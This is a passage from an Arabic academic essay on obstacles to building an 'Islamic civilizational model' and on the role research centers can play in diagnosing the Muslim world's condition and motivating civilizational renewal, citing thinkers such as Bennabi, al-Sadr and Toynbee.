والثقافي للقومية التي ينتسب إليها، والأممي ينظر إليه على أنه يمثل نتاج الإنسانية بصرف النظر عن انتماءاتها وأعراقها وبما يتناسب مع عقيدته الفكرية، والمتدين المسلم يعتقد انه يمثل أبناء دينه ، والانكى من ذلك انه داخل فئة المتدينين ستطل برأسها الاختلافات الفكرية المذهبية، فيعتقد أبناء كل مذهب أن النموذج الحضاري الإسلامي يمثل مذهبهم بكل ما ينطوي عليه هذا المذهب من جدليات فكرية وتناقضات تاريخية مع المذاهب الأخرى ..

إن إشكالية الهوية في بناء النموذج الحضاري الإسلامي لها تأثير فادح أيضا من خلال عدم معرفة الأنا المسلمة الشاملة( أي عامة الأمة الإسلامية) للمقصود به من مصطلح نموذجها الحضاري الذي تخاطب به الآخر ، فتكون أنا ممزقة ومشتتة ، ويكون خطابها غير موحد، وتبدو الصورة لها وكأنه لا يوجد نموذج حضاري إسلامي واحد، وإنما هناك نماذج حضارية إسلامية عدة تتناقض وتتعارك مع بعضها، وهي في النهاية جميعها ضعيفة وغير مؤثرة على المستوى الحضاري العام عندما تدخل ساحة الحوار أم التنافس أم الصراع مع النماذج الحضارية للأمم الأخرى، حتى وان حققت بعضها منجزات على المستوى الداخلي الضيق (أي داخل الأنا المسلمة)هذا من جانب. ومن جانب آخر، تدفع إشكالية الهوية الآخر إلى عدم معرفة هوية النموذج الحضاري الإسلامي، والجهة التي تمثله، فهل هو يتعامل مع نموذج واحد محدد الأركان والانتماء أم يتعامل مع نماذج عدة ممزقة ومتصارعة ولم تصل إلى صقل نفسها بنيويا وقيميا، كل ذلك سينعكس سلبا على طريقة تعامل الآخر الفردي والجمعي مع المسلمين وقضاياهم وحجم تأثيرهم على المستوى الإنساني المعاصر والمستقبلي.

ثانياً: إشكالية عدم مأسسة الخطاب الإسلامي.

لقد أشار إلى هذه الإشكالية ضمنا السيد (علي خامنئي) قائد الثورة الإسلامية في إيران عند لقائه أعضاء المجلس الأعلى لمركز صياغة أنموذج التقدم الإسلامي–الإيراني ومراكز الأبحاث التابعة له في شهر آذار سنة 2013 بقوله :” مأسسة الخطاب هو الشرط الأساس لتحقيق أنموذج التقدم الإسلامي–الإيراني .. رسوخ هذا الأنموذج في فكر وروح النخب ومن ثم الشباب وكل المواطنين رهنا بمأسسة الخطاب..”([38])،هذه القضية التي تحدث عنها السيد الخامنئي ، تعد فعلا من الإشكاليات المهمة في بناء النموذج الحضاري الإسلامي ، فانه باستثناء إيران الإسلامية ذات الخصوصية المذهبية ، تجد أن جميع الدول الإسلامية تقريبا وان تحدثت في دساتيرها عن جعل الدين الرسمي للدولة هو الإسلام ، وتحدثت عن الامتناع عن تشريع قوانين تتعارض مع الشريعة الإسلامية ، إلا أنها في الحقيقة لا تعمل بالأحكام الإسلامية في بناء منظومتها القانونية العامة، ولا في بناء هياكلها المؤسساتية السياسية والاقتصادية والاجتماعية، ولا عند إعداد أنظمتها التعليمية والتربوية ، ولا في فنونها وآدابها وقيمها وعاداتها وتقاليدها ، وهذا الواقع يؤثر في الصميم على النموذج الحضاري الإسلامي؛ لأنه إذا كان محور هذا النموذج هو الدين، فالدين كما يعرفه السيد (محمد حسين الطباطبائي) في(تفسير الميزان في تفسير القرآن) هو” منهج خاص في الحياة يؤمن صلاح الدنيا بما يتناسب مع كمال الآخرة والحياة الدائمة والحقيقية ..”([39]) ، وهذا التعريف للدين يقتضي أنه في الوقت الذي يجب أن تكون في الدين نفسه مقومات صلاح الحياة على اختلاف أبعادها، أن يتم بشكل موازي تكييف الحياة بمختلف تشريعاتها ومؤسساتها وأنظمتها الشاملة وقيمها وعاداتها وتصورات أفرادها عن الكون والحياة والإنسان بما يتناسب مع أحكام الدين، وهذا للأسف غير موجود في عالمنا الإسلامي المعاصر، مما يجعل الخطاب الديني للنموذج الحضاري الإسلامي خطابا ذاتيا تنعدم فيه الأسس الموضوعية المؤسسية ، يقوم به أفراد من النخبة السياسية أو المثقفة أو الأكاديمية أو الشعوب المسلمة في تواصلها البيني الذاتي مع غيرها من الشعوب ، وهذه الإشكالية على المستوى الحضاري تترك سلبيات عدة على مستوى وحجم تأثير النموذج الحضاري الإسلامي ، كما تترك تأثيرات سلبية أعمق على مستوى التغلغل والاستيعاب والتفاعل مع هذا النموذج داخل الشعوب المسلمة نفسها، التي قد تغدو مع الزمن مسلمة الهوية ولكنها غير مسلمة السلوك والمؤسسات والنظرة إلى الإنسان والكون والحياة.

ثالثاً: إشكالية التخلف الحضاري المعاصر للمسلمين وتقدم غيرهم.

في الوقت الذي يؤكد فيه الكثير من المهتمين من المسلمين على رقي وتقدم النموذج الحضاري الإسلامي، وامتلاكه لعناصر القوة والفاعلية الحضارية التي تسمح له بالتنافس والتفوق على غيره من النماذج الحضارية؛ ليكون جديرا بصفة المثال الذي يحتذى ويرغب في العمل من خلاله، إلا أن واقع حال اغلب المسلمين يشير إلى سقوطهم في تخلف حضاري متعدد الأبعاد ، فعلى المستوى الفكري هناك ظاهرة تتصاعد وتسود يوما بعد آخر ألا وهي الميل الحاد نحو الأطراف على مستوى التفكير ، والابتعاد عن الاستقامة والاعتدال والوسطية والتعايش إلا تحت التهديد أو الضرورات المصلحية العابرة، ويقصد بالميل الحاد نحو الأطراف هو إما أن يكون المسلم متطرفا مغاليا اتجاه الآخر ، أو مفرطا تفريطا واضحا اتجاهه على حساب الذات، فهناك عقليات تتحرك في عالمنا الإسلامي” لا تؤمن بالحوار ولا تصغي لآخر، فهي ترفض الانفتاح، وتؤثر الانغلاق، ولا تلبث أن تنادي في كل مناسبة بالتمسك بالهوية مطلقا، دون الأخذ في الاعتبار المتغيرات التي تدور في محيطها، ولا بالتحولات المريعة المبثوثة في فضائها..”([40]) ، والتطرف كما هو معروف تجاوز للحد وعدوان على الآخر في كثير من الأحيان، والعقليات المتطرفة لا يقتصر تطرفها وأثرها السيئ على الآخر غير المسلم أو غير المتدين ، بل يشمل أيضا شريكها في الدين والوطن، فيوظف التاريخ والثقافة وعلم الحديث والتفسير والأسطورة وكل ما يمكن من أجل نصرة مقولة المتطرف على غيرها من المقولات حتى وصل الأمر إلى تفسيق وتكفير شعوب وطوائف واديان بكاملها، فكانت النتيجة سيادة وانتشار الظاهرة الإرهابية ذات الغطاء الديني على مختلف أشكالها وانتماءاتها، لتضرب رقاب الناس وتسيل دمائهم وتنتهك أعراضهم وأموالهم وجميع مقومات كرامتهم الإنسانية، وفي جميع البلدان الإسلامية تقريبا، وكما التطرف في الفكر ، هناك تطرفا لا يقل عنه حدة وتأثيرا في السياسة من قبل الممسكين بالسلطة والراغبين في الوصول إليها.

وإذا كان هذا حال العقليات المتطرفة بنتائجها الكارثية المنعكسة سلبا على النموذج الحضاري الإسلامي ، فأن الطرف الآخر من المعادلة لا يقل عنه سلبية وخطيئة ، أي وجود عقليات في عالمنا الإسلامي تنكرت لهويتها الثقافية وخصوصيتها الحضارية ، فراحت تطالب في كل مناسبة ومحفل ” بالتخلي عن التراث والهوية، وتدعو إلى التغريب أي الاندماج في الحضارة الغربية ، وترى فيه الحل لملاحقة العصر، ومواكبة التطورات المتسارعة “([41])، وهي بذلك غير مدركة بأن مذهبها هذا سيفقدها ميزتها وقدرتها على المنافسة الحضارية الايجابية.إن التخلي المطلق عن خصوصية الذات الحضارية ليس حلا ناجعا لفشلها في تثوير طاقاتها، والتغلب على التحديات التي تواجهها وتعكر صفوها ومزاجها، وتسلبها راحتها ومصدر رفاهها وتقدمها ، فالأمم الحيوية والتي تحترم نفسها غالبا ما تتمسك بخصوصيتها وتشذب ثقافتها وأفعالها لتمتلك زخم القدرة على التحدي ، فقد فضل (المهاتما غاندي) أمه البقرة على أمه التي أرضعته لمجرد التمسك والحفاظ على خصوصيته الحضارية ([42]). إن وجود مثل هذا الفكر المتراخي المتحلل من قيود الذات وتعقيداتها والراغب في الذوبان بالآخر من اجل التقدم بفضله ، لا يفعل في عصر ما بعد الحداثة والعولمة والتقدم التقني الهائل إلا استفزاز الذات العامة لأمته وشعبه تلك الذات الباحثة عن الخصوصية والتميز وغير المستعدة للانسلاخ والاستلاب الحضاري ، ومع عملية الاستفزاز هذه ستزاد الفجوة بين النخب المتراخية وقاعدتها الشعبية المستفزة فيبقى خطاب هذه النخبة خطابا فوقيا غير مؤثر في القاعدة ، لكنه سيزيد من تشوشها وارتباكها ، وغير بعيد سقوطها في فخ التطرف وشراكه القاتلة ،والى جانب هذا التفريط والاستسلام الفكري ، تجد ذلك التفريط والاستسلام المؤسساتي والنظمي في بناء وتشكيل الدول والحكومات والمؤسسات في البلدان الإسلامية، مما يهدد حيوية النموذج الحضاري الإسلامي ، ويمنع الجميع من إمكانية تشربه واستيعاب قيمه وتجسيد عناصره على مستوى الفكر والسلوك ، القول والعمل،وبصورة أكثر مما نراه اليوم.

وإذا تجاوزنا التخلف الفكري الحاضر الذي يعاني منه كثير من المسلمين، وما يرتبط به من مؤسسات وممارسات ، وذهبنا إلى القيم الأخلاقية التي هي أساس ظهور الأديان ومنبع قوتها ودليل عنفوانها ، لظهر أن التخلف في منظومة القيم الأخلاقية لدى المسلمين مقارنة بنموذجهم الحضاري الإسلامي كبيرة جدا، وخطيرة في الوقت نفسه ، فالأخلاق حسب (علي عزت بيجوفيتش) رئيس البوسنة والهرسك السابق ” إنما هي دين تحول إلى قواعد سلوك، يعني تحول إلى مواقف إنسانية تجاه الآخرين، وفقا لحقيقة الوجود الإلهي..)([43]) ، وهذا التردي في القيم لدى كثير من المسلمين ، إذا أرجعه (عبد المجيد بن سعود) إلى عهود الانحطاط التي غرست السلبية والتثبيط عند المسلمين فأخرجت – حسب قوله- ” كثير من القيم الإسلامية عن مفهومها الحق، فالصبر وهو قيمة إسلامية عظيمة الشأن ، تحول إلى دعوة للخنوع واستساغة المذلة والطغيان ، بدلا من الصبر على مشاق العبادة والجهاد ومصاعب بناء الحياة، والصبر على الأذى في سبيل تحقيق المطامح العظيمة..”([44])، فان تراكم سلبيات الماضي وبقائها كإرث سيئ يصعب الخلاص منه يترك أثره على المسلمين في القول والعمل والمبادرة ؛لأنه يعني وجود قيم أخلاقية غير تلك التي يمثلها ويدعو لها النموذج الحضاري للإسلام ،والقيم كما يراها السيد الخامنئي” تشكل أرضية لمعرفة الطاقات والاستفادة المناسبة منها، وتحقيق التقدم اللازم في جميع الأبعاد وبأقل خسارة ممكنة”([45])، وتخلفها له انعكاسات واضحة وظاهرة في حياة المسلمين حتى في تلك الدول التي حكمتها وسادت فيها قوى ترفع شعار الحل الإسلامي ، فاستمرار الاستئثار بالسلطة، وغياب أفق الحوار والتسامح، ونقص البناء الديمقراطي، وانتشار الفساد المالي والإداري، وغياب مقصود لقيم العدل، والعدالة ، وقيم الصدق والثقة والاحترام المتبادل ومراعاة الحقوق والواجبات بين الحاكم والمحكوم، فضلا عن التفكك الأسري المتصاعد ، وظهور الانحراف لدى فئات اجتماعية مختلفة لاسيما فئة الشباب ، وغياب التنظيم والبرمجة العلمية في الحياة والمؤسسات .. كل ذلك يشير إلى تخلف عميق في القيم الأخلاقية للمسلمين اليوم وبشكل يتناقض كليا مع دينهم ونموذجه الحضاري، فيرتد ذلك سلبا على بناء النموذج الحضاري الإسلامي ويحجم دوره وفاعليته.

وإذا كان واقع المسلمين يعيش منذ فترة طويلة التخلف والتقهقر الحضاري من جانب ، فانه يرزح من جانب آخر تحت وطأة التحدي والتفوق الحضاري لنماذج حضارية أخرى يأتي في مقدمتها النموذج الحضاري الغربي([46])، على مستوى القدرة على الاختراق والإلحاق ، وعلى مستوى الجاذبية والتأثير ، وعلى مستوى العمران والثقافة والعلوم ، وهو نموذج في الغالب متصالح مع نفسه ، على الرغم من معظم مشاكله وتعقيداته .

وشعور المسلمين بالتخلف الذاتي والتفوق لدى الآخر خلق لدى الكثير منهم عقدة نقص خطيرة تتطلب البحث عن حلول ناجعة لتذليلها وتحييدها ، ولا يكون ذلك إلا من خلال إيجاد مشروع واحد أو مشاريع متعددة تستلهم النموذج الحضاري الإسلامي ، وتنجح في عرضه وتقديمه بصورة مقبولة من المسلمين أنفسهم، ومحترمة من الآخر الذي يتحداهم ويحاول تشويه صورتهم . في مثل هذا الفضاء ، ومن أجل تحقيق هكذا نتيجة سيبرز دور مراكز الأبحاث كمؤسسات معرفية ومهنية محايدة عالية الكفاءة والقدرة على الاستجابة لمواجهة التحديات والصعوبات التي تواجه عملية بناء النموذج الحضاري الإسلامي.

المبحث الثاني: بناء النموذج الحضاري الإسلامي في إطار مراكز الأبحاث

في عالم تتسارع وتائر التطور وترتفع صروح المعرفة فيه على طريق النهوض الحضاري واثبات الهوية والوجود، تغيب عن واقعنا الإسلامي الرؤية والإرادة والأداة الفاعلة لبناء نموذج النهوض الحضاري الشامل والمستقل والقادر على توحيد الأمة وطاقاتها ووضعها على طريق الرفعة والتقدم الأمن إلى المستقبل .

   وفي رحلة البحث عن الهوية الضائعة ونموذج النهوض الحضاري المنشود للأمة الاسلامية ، تبرز مراكز البحث العلمي بوصفها الاداة الفاعلة والمنجز الحضاري الواعد الذي يعكس بدقة عالية درجة اهتمام الامم بالمعرفة وحرصها على تجنيدها في سبيل تلبية حاجتها الماسة لبناء ذلك النموذج واعلاء صروحه المستقبلية المتميزة . وهكذا يمكن ان تؤدي مراكز البحث العلمي ادوارا متنوعة ومهمة في هذا السبيل ، تتراوح بين تشخيص الواقع وايجاد الحافز الموضوعي والذاتي لنهضة الامة وبناء مشروعها الحضاري ، ومن ثم تحديد ملامح المخطط الاستراتيجي للنهوض وبناء النموذج الحضاري على أسس وخطى منتظمة ومحددة المسار، وواضحة الاهداف.

   بيد ان هذه الادوار المنشودة لمراكز الابحاث ، مرهونة بمتغيرات متنوعة ومعقدة تشكل الاطار النوعي لمسار تلك المراكز وقدرتها على الانجاز والعطاء ، تتقدمها مسالة الدعم المتوافر لها ، وكفاءة وجدية الكوادر العاملة فيها على انجاز مثل هذا المشروع الحضاري ، ناهيك عن درجة استجابة صناع القرار والبيئة العامة المحيطة بهم وتفاعلهم الايجابي مع ما تنتجه تلك المراكز من مشاريع وافكار ونظريات ومخططات استراتيجية على طريق بناء النموذج الحضاري المنشود ، وهذا باعتقادنا هو بيت الداء .

المطلب الأول : دور مراكز الأبحاث في تشخيص الواقع وبلورة الدافع لبناء النموذج الحضاري الإسلامي.

     قبل المضي في طريق البناء الحضاري ، وفي خطوة تسبق التخطيط ، في كل الاحوال ، تبرز الحاجة الموضوعية لإلقاء نظرة على الواقع وما يشخص فيه من ملامح وارهاصات ، كون هذا الواقع يمثل الرحم الحقيقي الذي تولد فيه دواعي ومحفزات الاندفاع في طريق التخطيط الاستراتيجي المنظم . وفي هذا الفضاء المعرفي يسبح البحث العلمي ليرتق في هذا المدرج ويتحرى ابعاده ومنه يستنطق الدروس ويستحضر الدوافع . ومن هنا يجوز السؤال كيف تقرأ مراكز الابحاث واقعنا الحضاري ؟ وكيف تستنبط منه الدافع الى التغيير ؟ وهذا ما سيتم الاجابة عنه في الفرعين القادمين .

الفرع الأول : دور مراكز الأبحاث في تشخيص الواقع الحضاري للأمة .

حين نتحدث عن تشخيص الواقع ، نجد أنفسنا أمام كلمة الإدراك، والإدراك   في هذا السياق يستخدم لجملة من الاغراض والابعاد اهمها إدراك الذات وممكناتها، وإدراك الآخر وممكناته، وإدراك البون الحضاري بينهما سبيلا لاستدراك نقطة الشروع في عملية التدافع الحضاري ؛ فما نبحث عنه بمعنى مرادف ، حالة من الرشد مدفوعة بروح الحماس في معادلة الاقتدار الحضاري . ([47])

مما تقدم تبرز الحاجة للإجابة عن تساؤلين مؤداهما : كيف نشخص الواقع العالمي الراهن ؟ وما هو دور مراكز الابحاث في عملية التشخيص هذه في سبيل تهيئة الارضية المعرفية لبناء النموذج الحضاري الاسلامي المفترض ؟

   وفي معرض الاجابة عن السؤال الاول يمكن القول ان الانسانية اليوم تعيش مرحلة الزلزال المعرفي الذي يضرب بتحولاته الكبرى والمتسارعة كل مجالات المعرفة والعلم يتقدمها المجال التقني . فالعصر عصر المعلومة وميدانها الخصب ومن يملكها يملك القدرة على التأثير والتفاعل مع مسارات العصر ومداراته . ولا يبتعد عن الصواب من قال ” إن الحضارة الإنسانية اليوم تسجل على محور التاريخ أعظم لحظات الترقي والنمو الحضاري في ميادين الحياة المختلفة من جهة، والوعي الحضاري الإنساني يتفاعل اليوم في عصر العالمية بشكل مركب ومعقد. والثقافات الإنسانية الكبرى – بمختلف تنوعاتها- توضع اليوم في وضع التلاقي والتماس المباشر إما على خطوط المواجهة والصراع أو على خطوط التوافق والتشارك والتفاعل والتعارف أو على خطوط الرغبة في الانسحاب والتراجع والانعزال([48]) والتهميش دون أن تكون قادرة على ذلك ، اذ ان الواقع اليوم يفرض على الثقافات منطق الإقتحام في معترك الوعي العالمي ، لتكون قادرة على مواجهة أوضاع وظروف التيار الحضاري العالمي المعاصر المتدفق بشدة جارفة في اتجاه التغيير والتجدد المتسارع ، حتى أصبح التغيير مسألة شبه محتومة ومطلوبة لكل الثقافات الإنسانية ، لتتناغم مع متطلبات العيش في واقع عالمي كوني شمولي غير مسبوق ، والا تخلفت عن ركب الحضارة وانسحقت تحت وطأة الاستغلال من القوى الحضارية الاكثر تطورا .

وسواء أحدث التغير والتحول عن وعي وإرادة وتخطيط أو عن طريق التوجه الحضاري العام الذي يسوق الثقافات البشرية باتجاه الانخراط الفاعل في اتون التغيير المتسارع ام لا ، فإن هناك تحولات ينبغي لكل حضارة أن تكتشف قوتها، وحجمها، وتوجهها لتتناسب مع قدراتها وخصوصية اوضاعها . ومع التسليم بفرضية مفادها انه كلما تطورت المعرفة المتاحة لجماعة بشرية ما ، كلما تزايد وعيها بالحاجة لإدراك الفجوة الحضارية بينها وبين غيرها من الجماعات الاخرى ، يمكننا أن نتوقع وعياً حضاريًّا جديداً تزيد فيه قدرة المجتمعات الإنسانية على التحكم في مصيرها، عندما تتوسع فرص الإنسان المعاصر في التحكم في وضعه ووضع المسار الحضاري العام.

   غير ان عملية استنهاض الوعي الحضاري لامة ما وتأسيس قاعدته المعرفية وبلورة توجهاته ، هي حصيلة معقدة لتظافر وتأثير جهود قوى بشرية متميزة بفكرها وقدرتها على استقراء الواقع وفهم قوانينه وفق رؤى ومناهج علمية منضبطة المعايير والقواعد سبيلا للتكيف مع حركيته والتأثير بمخرجاته ، ” اذ ان عنوان الوعي الحضاري المنشود ومدار فعله ومحوره ، ينبغي أن ينصب حول تطوير هذا الإطار النظري الحضاري لدراسة مشكلات الحضارة ومعالجتها بشكل منهجي علمي. وينبغي المبادرة إلى القول إن أي منظور أو إطار معرفي ومنهجي لدراسة قضايا التجديد ينبغي أن يستوعب تحولات العالم القائمة، ويتفاعل مع التغيرات الخطيرة والمهمة التي تأخذ حيزها في الوعي والفكر والسلوك والشخصية والثقافة وفق المنظور العالمي المتكامل للتحليل “([49]) .

ومن هذه البؤرة المعرفية تتحدد مسارات الاجابة عن السؤال المتعلق بالدور الذي تقوم به مراكز البحث العلمي في بناء صرح المعرفة للأمم وتغذية وعيها الحضاري . فمراكز البحث العلمي على حد تعبير من وصفها هي المرآة التي تعكس اهتمام الأمم والشعوب بالعلم والمعرفة واستشراف آفاق المستقبل وفق المنظور العلمي والمعرفي ، وتوجهها الى حفظ تراثها ومنجزاتها المعرفية والحضارية. ؛ لتكون هذه المراكز بمثابة ا الوعاء لذاكرة التاريخ الانساني، والعين الثاقبة لرصد حركية الواقع وقوانينه ([50]).

إن الوظيفة الأساس لمراكز الأبحاث – كما يرى جواد الحمد تتركز في تحليل الواقع، وتقديم رؤى مستقبلية من أجل النهوض بواقع جديد أو تطوير الواقع الحالي إلى مستوى أفضل، وفق مرجعيات أكاديمية واستراتيجية بعيداً عن الارتجال، أي بعبارة اخرى ، ان وظيفة البحث عن الحقائق ووضعها في إطارها العلمي من أهم وظائف مراكز الأبحاث، ثم تطوير هذه الحقيقة بعد طرحها للنقاش ودراستها من كل الجوانبالمرتبطة بالواقع وما ليس له تأثير في الواقع فلا قيمة له ؛ فغاية مراكز الأبحاث إذن ليست مجرد صناعة الفكرة بل إيجاد السبيل لإنزالها، وتطبيقها، وقياس مدى فاعليتها في شتى مجالات الحياة. ([51])

وهكذا امكن وصف مراكز البحث العلمي ودورها في مجال تشخيص الواقع، بكونها قاعدة بيانات متحركة ومتطورة مداها دارسة الظواهر المختلفة واستباط قوانينها وبلورة نظرياته وايجاد الحلول الناجعة لما يعترض الحضارة من مشاكل بغية تهيئة الارضية المعرفية المناسبة لبناء النموذج الحضاري الامثل .

والإضافة عليها، ورفدها بكل ما هو مفيد وجديد؛ حتى تتكامل ملامحها، ويمكن إنزالها وتطبيقها على الواقع والإفادة من مردودات تطبيقها . ([52])

وما تقدم هو جزء من رؤية اشمل يقدمها الدكتور نصر عارف حول وظيفة مراكز الأبحاث التي تتعدى – بحسب قوله – مجال تجميع المعلومات، لتصل الى مستوى إنتاج الأفكار.

الفرع الثاني: دور مراكز الأبحاث في إيجاد الدافع لبناء النموذج الحضاري الإسلامي.

   تعيش امتنا الاسلامية اليوم ، حالةً من التخلف والركود الحضاري المركب والخطير الذي اسهم في تهميشها، واصابتها بكل الآفات والمظاهر السلبية التي يزخر بها واقعنا الحضاري الراهن .

وبقدر ما كانت هذه الحالة مصدر احباط لعامة الامة ، فإنها شكلت الارضية الفكرية الخصبة لاستنبات الوعي بالحاجة الملحة الى معرفة اسباب هذا التخلف، والمدخل المنطقي لإيجاد دافعية الحركة الى تحري المعالجات لدى طيف واسع من العلماء ومراكز الابحاث . وهكذا راحت كل تلك الطاقات الفكرية تؤكد بثقة بأن عملية تغيير بنى مجتمعاتنا (الراسخة) – بمختلف مكوناتها وشفراتها الفكرية والمعرفية والثقافية، ومختلف مآلاتها السلطوية- بحاجة ماسة إلى جهود فكرية بنيوية نقدية مضنية وحثيثة من الاشتغال على نقد الذات الحضارية المريضة حتى اجتراح أسس الحل، فكانت عصارة تلك الجولات البحثية المضنية حول الصيرورة الحضارية للامة ، حقلا مفعما بالتنوع والاختلاف في الآراء ضمن سياقاتها التفصيلية ، لكن هذه الآراء عادت واجتمعت مرة اخرى على اعتبار أن أزمة التقهقر الحضاري الاسلامي الراهنة هي في الأساس ذات امتدادات بنيوية ثقافية ومعرفية بامتياز([53]).

وبعيدا عن مغبة الولوج في تيه الآراء والرؤى المتعددة للأسباب والعوامل الكامنة وراء تخلف الامة وانقطاعها الحضاري، يمكن بنظرة فاحصة جامعة الاستنتاج بان ما تعيشه الامة من واقع متخلف ليس بحكم افتقارها الى الموارد، والمعارف والوسائل التقنية ، وحتى القدرات البشرية ؛ أي ان ما تعانيه الامة من نكبة حضارية لاتقبع في الجانب المادي والفني ، بل تتأتى من عوامل بنيوية متراكبة بعضها حضاري وبعضها الاخر علمي معرفي . وهذه العوامل تعد بمثابة قنوات رئيسة لتصريف وتمازج كل مسببات التخلف لهذه الامة .

فعلى مستوى الاسباب الحضارية المؤسسة لتخلف الامة الاسلامية ، يقودنا سبيل البحث والتحري الى تأشير علة انطفاء جذوة الروح الرسالية الدافعة للنهوض لدى ابناء الامة . وقريبا من هذا التوجه وتسديدا له، يتحدث المفكر ارنولد توينبي عن الدافع الحَيويّ للحضارة التي تنطلق بغرض التحقيق الذاتيّ. وبعبارةٍ أُخرى إنَّ مقياس النموّ هو التقدُّم في سبيل التحقيق الذاتيّ.”والذي يفصح عن ذاته “عن طريق المُبدِعين من الأفراد، أو بواسطة الفئة القليلة من هؤلاء القادة المُلهَمين”، يوم تستجيبُ لهم الأكثريَّةُ عن طريق المُحاكاة الآليَّة التي تُمثِّلُ الطريقةَ الغالبة في عمليَّة الانقياد الاجتماعيّ. وتـقود هذه المُحاكاةُ في الجماعة البدائيَّة إلى حركةٍ سَلَفيَّة تـنزعُ إلى مُحاكاةِ القُدَماء، بينما هي في المُجتمعات الحضاريَّة النامية حركةٌ تقدُّميَّة تُؤدِّي إلى مُحاكاة الطليعة الخلاَّقة ” وباختفاء هذا الدافع تسقط الحضارة وتنهار([54]) ، وعلى الطريق ذاته سار المفكر الإسلامي الحضاري المعروف «مالك بن نبي» عندما بحث في عوامل التخلف والإقلاع الحضاري، فوجد أن الحركة الحضارية تنتج من تفاعل «الإنسان» و«التراب» و«الوقت». وهذا التفاعل يحتاج إلى طاقة روحية لا يمكن أن يوفّرها إلاّ الدين.  
ونفس الحقيقة يلامسها الإمام الشهيد محمد باقر الصدر إذ يطرح نظرية المثل الأعلى ويرى أن الأمة تتحرك بمقدار ما يملك مثلها الأعلى من طاقة للدفع، فإذا كان مثلها الأعلى هابطاً فإن الأمة تعيش همومها اليوميّة التافهة وتراوح في مكانها. أما إذا كان ذلك المثل الأعلى كبيراً فإنه يدفع الأمة إلى أهداف كبرى. والدين الحقّ يدفع بالمسيرة الإنسانية لأن تتجه نحو الله سبحانه. والإنسان في حركته نحو الله يسير على طريق غير متناه، ومجال التطور والإبداع والنمو متواصل دائماً دون توقف. وإذا نشطت روح الحياة في الكائن الإنساني والمجموعة البشرية استيقظ فيها الشعور، وتوفرت عوامل بناء الذات، وتصاعدت روح المقاومة واتجهت نحو الأهداف الكبيرة.([55]).

وتتفاعل تلك العلة مع اخرى لا تقل عنها خطورة وتأثير، فحواها (الاستلاب الحضاري) والتبعية المفرطة لتيار القوى الحضارية المهيمنة حتى لو كان ذلك على حساب المبادئ اوحتى العقائد والمصالح .

اذ أضافت الغزوة الحضارية الغربية على العالم الاسلامي إلى المأزق الحضاري الذي تعانيه الأمة تحدياً جديداً، مجاله «التغريب والاستلاب الحضاري… ومسخ ونسخ وتشويه الهوية الإسلامية». حتى أصبحنا نواجه مأزقاً حضارياً مركبا ، انضم فيه «التغريب الوافد» إلى «التخلف الموروث». وصارت الامة تعيش حالة من فقدان التوازن بعد فقدان الهوية والمشروع الحضاري ، تتقاذفها تيارات الحضارة المهيمنة سالبة قواها وقدرتها على الرؤية المتبصرة لحاضرها ومستقبلها ، بعد ان اجتهدت بنقض ما تبقى من عرى ارتباطها بجذورها الحضارية وخطى ارتباطها بماضيها حتى افتقدت هذه الامة وبجدارة قدرتها على بلورة هويتها الحضارية الجديدة او البديلة ، وقدرتها على التواصل والتفاعل بإيجابية مع منطق و العصر سياق حركته الحضارية والتعاطي بفاعلية مع قوانينه .([56])

وازاء حالة كهذه ، كان البحث العلمي ومراكزه بمثابة طود النجاة من حالة التيه الحضاري الذي عاشته الامة للأسباب المتقدمة ، اذ توجب على هذه القوى الفكرية جملة من المهام والواجبات على طريق استعادة التوازن الحضاري المنشود للامة من خلال البحث عن خرائط الوعي، وشفرات التجديد الحضاري وعلومه الدقيقة التي تشكل عمق الإقلاع عن التخلف وامتلاك مقومات التحضر([57]). فدور هذه البنوك المعرفية لم يعد يقتصر على تأشير الجراح النازفة في جبين الامة ، بل يتعداه الى شان اكثر حيوية ، مقامه البحث عن محركات النهوض الحضاري واسبابه وبلورة وشرعنة الدوافع لتبني المشروع الحضاري الخاص بالأمة في وجه تلك الغزوات والانتكاسات الحضارية ، ويزيد عليها مهمة اخرى في استرجاع او اشعال جذوة روح الحماسة والحياة لاستعاد الدور والمكانة الحضارية للامة ، وكل هذا لا تقوم له قائمة على ارض الواقع ما لم تسعَ مراكز الابحاث الى تشييد صرح المشروع الحضاري الاسلامي القادر على النهوض بالأمة، وارشاد ابناءها الى السبيل الأوفى لبلوغ هذا المرام بأقل الكلــــف وأضيق الأزمـــــــــان .

في هذا السبيل ومن اجل تلك الغاية السامية ، انقسمت دوائر البحث العلمي والأكاديمي بين ثلاثة اتجاهات رئيسة ؛ جسدت ردة الفعل الحضاري الأولى لتلك القوى الفكرية بعد استخلاصها لدروس التشخيص الموضوعي لظروف الواقع وارهاصاته تمثلت بالاتي ([58]) :-

أ- تيار الرفض، وهو تيار تراثي سلفي يدعو إلى تجاوز الحداثة والتغريب والارتماء في أحضان الآخر، والاكتفاء بالاستعادة من دون استفادة أو استفادة محدودة جدّا، ومن دون استزادة أو استزادة محدودة جدّا، يكتفي بالأصالة على أنّها منفذ النجدة من الانحطاط ومخرج الطوارئ من التخلّف وسبيل النهضة، قدوته وسراجه السلف الصالح، وشعاره \”لا يصلح حال الأمة إلاّ بما صلح به أوّلها\”، وشعار \”لم يترك السلف للخلف أمرا يخوض فيه\”، وشعار \”نكون خير خلف لخير سلف\”، وعنده الثقافة الغربية تتعارض مع القيّم العربية والإسلامية، وفيها الفناء للهوية العربية الإسلامية، خاصة بعد تعرّض البلاد العربية والإسلامية للاستعمار الغربي، وتوظيفه لمنتجات حضارته لقهر الشعوب الضعيفة ونهب خيراته، وممارسته سياسة التبشير المسيحي ونشر لغته وثقافته ومحـو لغات وثقافات الشعوب المستعمرة.  
ب- تيار التأييد والقبول والاستفادة، وهو التيار الحداثي الذي لا يرى بدّا للخروج من التخلف والانحطاط سوى الحداثة على مستوى الفكر والعمل معا، وضرورة الانفتاح على الغرب الأوروبي علميا وثقافيا وسياسيا وتكنولوجيا، ولا يشكل هذا الانفتاح خطرا على الثقافة العربية الإسلامية وعلى عناصرها ، فالتقدم الذي حققه الغرب الأوروبي في كل المجالات ، كفيل بالاقتداء والإتباع، خاصة وأنّ منتجات الحضارة الغربية فيها الكثير منّ المشتركة بين كافة أفراد الإنسانية تضمنتها الحداثة وتضمنتها الثقافات والحضارات والديانات ذات الطابع الأممي العالمي، لكن وسائل ومناهج الوصول إلى هذه القيّم تتعدد وتختلف باختلاف الظروف والأوضاع، لهذا لا يوجد مانع من النقل الحضاري ومن الاستفادة الكاملة من الحداثة والتحديث والتغريب.
